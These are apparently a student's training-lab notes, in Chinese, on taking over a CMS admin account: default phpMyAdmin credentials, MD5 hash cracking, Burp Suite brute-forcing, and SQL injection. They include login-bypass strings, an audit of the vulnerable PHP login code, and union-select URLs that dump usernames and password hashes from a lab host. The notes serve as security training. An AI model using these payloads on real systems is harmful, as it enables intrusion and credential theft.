0627实训

获取cms 后台管理员账号密码方法

image-20230627081922389.png

  • arp中间人攻击

  • 弱口令

  • SQL注入

  • xss

  • 数据库攻击

数据库攻击

敏感数据放在数据库中。

远程不允许登录

可以通过phpmyadmin进行登录

image-20230627085837322.png

默认账号密码

root root

进入cms_user 得到账号密码

image-20230627090704106.png

md5加密

e10adc3949ba59abbe56e057f20f883e

解密之后

image-20230627092447331.png

随后使用账号密码进cms后台

image-20230627093630326.png

口令爆破

  • 用户名未知,密码未知

  • 用户名已知,密码未知

  • 用户名未知,密码已知

    准备用户名字典和密码字典

    1687834501495.png

常见用户名

1687834501495.png

手工爆破过于繁琐,借助工具实现。

burp suite

burpsuite 命令启动

1687834501495.png

通过BP抓到浏览器到服务器的流量

BP相当于中间人,转发数据包

进入proxy模块,启动自带浏览器,访问服务器

抓取登录流量

浏览器进行登录,proxy抓取数据包

1687834501495.png

因此想要做爆破,就需要重复发送登录数据包

将包发送到repeatr模块

1687834501495.png

包转到intruder模块

1687834501495.png

数据包自动发送,根据用户名和密码的已知情况添加变量

攻击模式选择Cluster bomb

选择变量,导入已有的列表

1687834501493.png

1687834501496.png

开始攻击

攻击结束后查看状态码即可知道所爆破出的账号密码

image-20230627111148839.png

得出账号密码

SQL注入

  • 数据库 :存储数据的仓库

  • SQL :结构化查询语言

    登录数据库

    phpmyadmin

    image-20230627144944367.png

    image-20230627152044642.png

关系型数据库

库名 --> 表名 -->列名 --> 数据

数据库练习

image-20230627152137357.png

image-20230627152209675.png

image-20230627152019878.png

SQL注入五大手法

  • 联合查询
  • 报错注入
  • 布尔盲注
  • 延时注入
  • 堆叠查询

万能用户名(用户名随意)

image-20230627163515354.png

777' or 1=1 #

万能密码(用户名必须正确)

image-20230627163543001.png

admin' or 1='1

漏洞原理

查看 /cms/admin/login.action.php

<?php
session_start ();
header('Content-Type: text/html; charset=utf-8');
include_once ("../include/config.inc.php");
if (isset ( $_POST ["username"] )) {
	$username = $_POST ["username"];
} else {
	$username = "";
}
if (isset ( $_POST ["password"] )) {
	$password = $_POST ["password"];
} else {
	$password = "";
}
//记住用户名
setcookie (username, $username,time()+3600*24*365);
if (empty($username)||empty($password)){
	exit("<script>alert('用户名或密码不能为空!');window.history.go(-1)</script>");
}
$user_row = $db->getOneRow("select userid from cms_users where username = '".$username."' and password='".md5 ( $password ) ."'");
if (!empty($user_row )) {
	setcookie (userid, $user_row ['userid'] ); 
	header("Location: index.php");
}else{
	exit("<script>alert('用户名或密码不正确!');window.history.go(-1)</script>");
}
?>

代码审计

  • 通过post方式获取两个变量,分别赋值给 $username 和 $passward
  • 判断用户名和密码是否为空
  • 根据用户提交的账号和密码进行SQL查询
  • 如果查询到userid的值,则登录成功

进入成功

image-20230627163442745.png

由于没有做任何过滤,可以通过 $username $passward 来影响原有sql语句结构达到sql注入目的

联合查询

联合查询,将两条 select语句的查询结果拼到一起

  • 数据库的内容会回显到网页中
  • 前后两条SQL语句列数相同
  • 对应列的数据类型相同

image-20230627175342895.png

通过二分法得出select语句列数

http://10.4.7.130/cms/show.php?id=32 order by 15   正常
http://10.4.7.130/cms/show.php?id=32 order by 16   不正常

image-20230627175952442.png

#获取数据库名
http://10.4.7.130/cms/show.php?id=32 and 1=2 union select 1,2,database(),4,5,6,7,8,9,10,11,12,13,14,15
#获取数据库的表名
http://10.4.7.130/cms/show.php?id=32 and 1=2 union select 1,2,hex(group_concat(table_name)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema=database()
#获取账号密码
http://10.4.7.130/cms/show.php?id=32 and 1=2 union select 1,2,concat(username,0x3a,password),4,5,6,7,8,9,10,11,12,13,14,15 from cms_users

image-20230627180355055.png

image-20230627180518733.png

image-20230627180508403.png

image-20230627180545343.png

MD5解密得密码是123456

posted @ 2023-06-27 16:48  W-xzg  阅读(308)  评论(0)    收藏  举报
1 2 3
4